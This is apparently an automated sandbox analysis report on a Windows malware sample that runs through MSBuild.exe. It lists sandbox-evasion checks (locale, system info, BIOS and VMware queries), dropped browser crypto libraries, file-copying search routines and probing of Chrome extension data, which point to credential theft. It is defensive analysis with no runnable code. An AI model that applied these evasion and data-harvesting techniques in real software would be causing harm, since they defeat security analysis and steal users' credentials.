Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_2-70491

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	API coverage: 4.2 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 7.8 %
Source: C:\Users\userIDHDGDHJEG.exe	API coverage: 4.2 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6808

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008B9ABF FindFirstFileExW,	0_2_008B9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	2_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	2_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	2_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040DE10
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001C9ABF FindFirstFileExW,	9_2_001C9ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00401160 GetSystemInfo,ExitProcess,

2_2_00401160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWIag
Source: AKECBFBA.2.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: AKECBFBA.2.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2758549096.00000000013E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.2510447311.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AKECBFBA.2.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: AKECBFBA.2.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: AKECBFBA.2.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: AKECBFBA.2.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: AKECBFBA.2.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: AKECBFBA.2.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: AKECBFBA.2.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: AKECBFBA.2.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: AKECBFBA.2.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: AKECBFBA.2.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: AKECBFBA.2.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000002.00000002.2758549096.0000000001387000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
